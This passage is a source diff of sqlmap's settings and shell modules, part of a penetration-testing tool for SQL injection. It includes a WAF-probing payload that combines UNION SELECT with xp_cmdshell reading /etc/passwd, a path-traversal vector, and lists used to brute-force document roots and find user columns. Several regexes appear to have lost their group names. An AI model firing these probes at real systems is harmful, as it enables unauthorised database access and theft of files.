"http://pymssql.sourceforge.net/"), - DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "http://code.google.com/p/pymysql/"), - DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/"), - DBMS.SQLITE: (SQLITE_ALIASES, "python-pysqlite2", "http://pysqlite.googlecode.com/"), - DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/"), - DBMS.MAXDB: (MAXDB_ALIASES, None, None), - DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"), - DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/") - } - -USER_AGENT_ALIASES = ( "ua", "useragent", "user-agent" ) -REFERER_ALIASES = ( "ref", "referer", "referrer" ) -HOST_ALIASES = ( "host", ) - -FROM_DUMMY_TABLE = { - DBMS.ORACLE: " FROM DUAL", - DBMS.ACCESS: " FROM MSysAccessObjects", - DBMS.FIREBIRD: " FROM RDB$DATABASE", - DBMS.MAXDB: " FROM VERSIONS", - DBMS.DB2: " FROM SYSIBM.SYSDUMMY1" - } - -SQL_STATEMENTS = { - "SQL SELECT statement": ( - "select ", - "show ", - " top ", - " distinct ", - " from ", - " from dual", - " where ", - " group by ", - " order by ", - " having ", - " limit ", - " offset ", - " union all ", - " rownum as ", - "(case ", ), - - "SQL data definition": ( - "create ", - "declare ", - "drop ", - "truncate ", - "alter ", ), - - "SQL data manipulation": ( - "bulk ", - "insert ", - "update ", - "delete ", - "merge ", - "load ", ), - - "SQL data control": ( - "grant ", - "revoke ", ), - - "SQL data execution": ( - "exec ", - "execute ", ), - - "SQL transaction": ( - "start transaction ", - "begin work ", - "begin transaction ", - "commit ", - "rollback ", ), - } - -# items displayed in basic help (-h) output +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES) +SUPPORTED_OS = ("linux", "windows") + +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES)) + +USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") +REFERER_ALIASES = ("ref", "referer", "referrer") +HOST_ALIASES = ("host",) + +# DBMSes with upper case identifiers +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) + +# Default schemas to use (when unable to enumerate) +H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" +MCKOI_DEFAULT_SCHEMA = "APP" +CACHE_DEFAULT_SCHEMA = "SQLUser" + +# DBMSes where OFFSET mechanism starts from 1 +PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) + +# Names that can't be used to name files on Windows OS +WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") + +# Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( - "url", - "googleDork", - "data", - "cookie", - "randomAgent", - "proxy", - "testParameter", - "dbms", - "level", - "risk", - "tech", - "getBanner", - "getCurrentUser", - "getCurrentDb", - "getPasswordHashes", - "getTables", - "getColumns", - "getSchema", - "dumpTable", - "dumpAll", - "db", - "tbl", - "col", - "osShell", - "osPwn", - "batch", - "checkTor", - "flushSession", - "tor", - "wizard" - ) - -# string representation for NULL value + "url", + "googleDork", + "data", + "cookie", + "randomAgent", + "proxy", + "testParameter", + "dbms", + "level", + "risk", + "technique", + "getAll", + "getBanner", + "getCurrentUser", + "getCurrentDb", + "getPasswordHashes", + "getDbs", + "getTables", + "getColumns", + "getSchema", + "dumpTable", + "dumpAll", + "db", + "tbl", + "col", + "osShell", + "osPwn", + "batch", + "checkTor", + "flushSession", + "tor", + "sqlmapShell", + "wizard", +) + +# Tags used for value replacements inside shell scripts +SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" +SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" + +# String representation for NULL value NULL = "NULL" -# string representation for blank ('') value +# String representation for blank ('') value BLANK = "" -# string representation for current database +# String representation for current database CURRENT_DB = "CD" +# String representation for current user +CURRENT_USER = "CU" + +# Name of SQLite file used for storing session data +SESSION_SQLITE_FILE = "session.sqlite" + +# Regular expressions used for finding file paths in error messages +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") + # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( - r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P.+?)", - r"(?m)^(fatal|error|warning|exception):?\s*(?P.+?)$", - r"
  • Error Type:
    (?P.+?)
    • ", - r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)" - ) + r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", + r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", + r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", + r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(    )?:\s*(?P[^<>]+)", + r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", + r"(?s)
  • Error Type:
    (?P.+?)
    • ", + r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", + r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", + r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", + r"(?Pquery error: SELECT[^<>]+)" +) # Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r']+charset=(?P[^">]+)' +META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers -META_REFRESH_REGEX = r']+content="?[^">]+url=(?P[^">]+)' +META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' -# Regular expression used for parsing empty fields in tested form data -EMPTY_FORM_FIELDS_REGEX = r'(?P[^=]+=(&|\Z))' +# Regular expression used for parsing Javascript redirect request +JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" + +# Vectors used for provoking specific WAF/IPS behavior(s) +WAF_ATTACK_VECTORS = ( + "", # NIL + "search=", + "file=../../../../etc/passwd", + "q=foobar", + "id=1 %s" % IPS_WAF_CHECK_PAYLOAD +) # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') -# Chunk length (in items) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_LENGTH = 4096 +# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) +BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 + +# Compress level used for storing BigArray chunks to disk (0-9) +BIGARRAY_COMPRESS_LEVEL = 4 + +# Maximum number of socket pre-connects +SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 +# Reference: http://stackoverflow.com/a/3168436 +# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 +DUMP_FILE_BUFFER_SIZE = 1024 + # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 -# Maximum number of times for revalidation of a character in time-based injections -MAX_TIME_REVALIDATION_STEPS = 5 +# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections +ORDER_BY_MAX = 1000 -# Characters that can be used to split parameter values in provided command line (e.g. in --tamper) -PARAMETER_SPLITTING_REGEX = r'[,|;]' +# Maximum number of times for revalidation of a character in inference (as required) +MAX_REVALIDATION_STEPS = 5 -# Regular expression describing possible union char value (e.g. used in --union-char) -UNION_CHAR_REGEX = r'\A\w+\Z' +# Characters that can be used to split parameter values in provided command line (e.g. in --tamper) +PARAMETER_SPLITTING_REGEX = r"[,|;]" # Attribute used for storing original parameter value in special cases (e.g. POST) -UNENCODED_ORIGINAL_VALUE = 'original' +UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor') +COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -482,20 +701,44 @@ # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' -# Skip unforced HashDB flush requests below the threshold number of cached items -HASHDB_FLUSH_THRESHOLD = 32 +# Unix timestamp used for forcing cookie expiration when provided with --load-cookies +FORCE_COOKIE_EXPIRATION_TIME = "9999999999" + +# Github OAuth token used for creating an automatic Issue for unhandled exceptions +GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" + +# Flush HashDB threshold number of cached items +HASHDB_FLUSH_THRESHOLD_ITEMS = 200 + +# Flush HashDB threshold "dirty" time +HASHDB_FLUSH_THRESHOLD_TIME = 5 + +# Number of retries for unsuccessful HashDB flush attempts +HASHDB_FLUSH_RETRIES = 3 + +# Number of retries for unsuccessful HashDB retrieve attempts +HASHDB_RETRIEVE_RETRIES = 3 + +# Number of retries for unsuccessful HashDB end transaction attempts +HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "cAWxkLYCQT" # r5129 "".join(random.sample(string.letters, 10)) +HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' + +# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) +PICKLE_PROTOCOL = 2 # Warn user of possible delay due to large page dump in full UNION query injections -LARGE_OUTPUT_THRESHOLD = 1024**2 +LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows -HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +HASH_RECOGNITION_QUIT_THRESHOLD = 1000 + +# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 @@ -503,20 +746,232 @@ # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 +# Maximum (deliberate) delay used in page stability check +MAX_STABILITY_DELAY = 0.5 + # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) -DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.letters) +DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) -# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION/inband injections) -MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 +# Alphabet used for heuristic checks +HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') -# Mark used for trimming unnecessary content in large chunks -LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" +# Minor artistic touch +BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) + +# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" + +# Regular expression used for recognition of file inclusion errors +FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" + +# Length of prefix and suffix used in non-SQLI heuristic checks +NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 + +# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) +MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 + +# Maximum response total page size (trimmed if larger) +MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 + +# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) +MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 + +# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.) +HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 + +# Maximum (multi-threaded) length of entry in bisection algorithm +MAX_BISECTION_LENGTH = 50 * 1024 * 1024 + +# Mark used for trimming unnecessary content in large connection reads +LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation -GENERIC_SQL_COMMENT = "-- " +GENERIC_SQL_COMMENT = "-- [RANDSTR]" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 + +# Check for empty columns only if table is sufficiently large +CHECK_ZERO_COLUMNS_THRESHOLD = 10 + +# Threshold for checking types of columns in case of SQLite dump format +CHECK_SQLITE_TYPE_THRESHOLD = 100 + +# Boldify all logger messages containing these "patterns" +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") + +# Regular expression used to search for bold-patterns +BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) + +# TLDs used in randomization of email-alike parameter values +RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") + +# Generic www root directory names +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") + +# Maximum length of a help part containing switch/option name(s) +MAX_HELP_OPTION_LENGTH = 18 + +# Maximum number of connection retries (to prevent problems with recursion) +MAX_CONNECT_RETRIES = 100 + +# Strings for detecting formatting errors +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' + +# Regular expression used for extracting ASP.NET event validation values +EVENTVALIDATION_REGEX = r'(?i)(?P__EVENTVALIDATION[^"]*)[^>]+value="(?P[^"]+)' + +# Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) +LIMITED_ROWS_TEST_NUMBER = 15 + +# Default adapter to use for bottle server +RESTAPI_DEFAULT_ADAPTER = "wsgiref" + +# Default REST-JSON API server listen address +RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" + +# Default REST-JSON API server listen port +RESTAPI_DEFAULT_PORT = 8775 + +# Unsupported options by REST-JSON API server +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard") + +# Use "Supplementary Private Use Area-A" +INVALID_UNICODE_PRIVATE_AREA = False + +# Format used for representing invalid unicode characters +INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" + +# Minimum supported version of httpx library (for --http2) +MIN_HTTPX_VERSION = "0.28" + +# Regular expression for XML POST data +XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" + +# Regular expression used for detecting JSON POST data +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' + +# Regular expression used for detecting JSON-like POST data +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" + +# Regular expression used for detecting multipart POST data +MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" + +# Regular expression used for detecting Array-like POST data +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) + +# Default POST data content-type +DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" + +# Raw text POST data content-type +PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8" + +# Length used while checking for existence of Suhosin-patch (like) protection mechanism +SUHOSIN_MAX_VALUE_LENGTH = 512 + +# Minimum size of an (binary) entry before it can be considered for dumping to disk +MIN_BINARY_DISK_DUMP_SIZE = 100 + +# Filenames of payloads xml files (in order of loading) +PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") + +# Regular expression used for extracting form tags +FORM_SEARCH_REGEX = r"(?si)" + +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + +# Minimum field entry length needed for encoded content (hex, base64,...) check +MIN_ENCODED_LEN_CHECK = 5 + +# Timeout in seconds in which Metasploit remote session has to be initialized +METASPLOIT_SESSION_TIMEOUT = 180 + +# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html +LOBLKSIZE = 2048 + +# Prefix used to mark special variables (e.g. keywords, having special chars, etc.) +EVALCODE_ENCODED_PREFIX = "EVAL_" + +# Reference: https://en.wikipedia.org/wiki/Zip_(file_format) +ZIP_HEADER = b"\x50\x4b\x03\x04" + +# Reference: http://www.cookiecentral.com/faq/#3.5 +NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." + +# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") + +# Prefixes used in brute force search for web server document root +BRUTE_DOC_ROOT_PREFIXES = { + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") +} + +# Suffixes used in brute force search for web server document root +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") + +# String used for marking target name inside used brute force web server document root +BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" + +# Character used as a boundary in kb.chars (preferably less frequent letter) +KB_CHARS_BOUNDARY_CHAR = 'q' + +# Letters of lower frequency used in kb.chars +KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" + +# Printable bytes +PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) + +# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) +HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") + +# CSS style used in HTML dump format +HTML_DUMP_CSS_STYLE = """""" + +# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) +for key, value in os.environ.items(): + if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() + if _ in globals(): + original = globals()[_] + if isinstance(original, int): + try: + globals()[_] = int(value) + except ValueError: + pass + elif isinstance(original, bool): + globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, (list, tuple)): + globals()[_] = [__.strip() for __ in _.split(',')] + else: + globals()[_] = value diff --git a/lib/core/shell.py b/lib/core/shell.py index cd96edf0eed..b4ae92ab3eb 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,79 +1,151 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import atexit import os -import rlcompleter from lib.core import readlineng as readline -from lib.core.common import Backend +from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import IS_WIN +from lib.core.settings import MAX_HISTORY_LENGTH -def saveHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) - readline.write_history_file(historyPath) +try: + import rlcompleter -def loadHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + class CompleterNG(rlcompleter.Completer): + def global_matches(self, text): + """ + Compute matches when text is a simple name. + Return a list of all names currently defined in self.namespace + that match. + """ + + matches = [] + n = len(text) + + for ns in (self.namespace,): + for word in ns: + if word[:n] == text: + matches.append(word) + + return matches +except: + readline._readline = None + +def readlineAvailable(): + """ + Check if the readline is available. By default + it is not in Python default installation on Windows + """ + + return readline._readline is not None + +def clearHistory(): + if not readlineAvailable(): + return + + readline.clear_history() + +def saveHistory(completion=None): + try: + if not readlineAvailable(): + return + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + + try: + with open(historyPath, "w+"): + pass + except: + pass + + readline.set_history_length(MAX_HISTORY_LENGTH) + try: + readline.write_history_file(historyPath) + except IOError as ex: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) + logger.warning(warnMsg) + except KeyboardInterrupt: + pass + +def loadHistory(completion=None): + if not readlineAvailable(): + return + + clearHistory() + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) - logger.warn(warnMsg) - -class CompleterNG(rlcompleter.Completer): - def global_matches(self, text): - """ - Compute matches when text is a simple name. - Return a list of all names currently defined in self.namespace - that match. - """ - - matches = [] - n = len(text) - - for ns in [ self.namespace ]: - for word in ns: - if word[:n] == text: - matches.append(word) - - return matches - -def autoCompletion(sqlShell=False, osShell=False): - # First of all we check if the readline is available, by default - # it is not in Python default installation on Windows - if not readline._readline: + except IOError as ex: + warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) + logger.warning(warnMsg) + except UnicodeError: + if IS_WIN: + warnMsg = "there was a problem loading the history file '%s'. " % historyPath + warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + logger.warning(warnMsg) + +def autoCompletion(completion=None, os=None, commands=None): + if not readlineAvailable(): return - if osShell: - if Backend.isOs(OS.WINDOWS): + if completion == AUTOCOMPLETE_TYPE.OS: + if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, - "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, - }) + "attrib": None, "copy": None, "del": None, + "dir": None, "echo": None, "fc": None, + "label": None, "md": None, "mem": None, + "move": None, "net": None, "netstat -na": None, + "tree": None, "truename": None, "type": None, + "ver": None, "vol": None, "xcopy": None, + }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, - }) + "cat": None, "chmod": None, "chown": None, + "cp": None, "cut": None, "date": None, "df": None, + "diff": None, "du": None, "echo": None, "env": None, + "file": None, "find": None, "free": None, "grep": None, + "id": None, "ifconfig": None, "ls": None, "mkdir": None, + "mv": None, "netstat": None, "pwd": None, "rm": None, + "uname": None, "whoami": None, + }) + + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + elif commands: + completer = CompleterNG(dict(((_, None) for _ in commands))) + readline.set_completer_delims(' ') 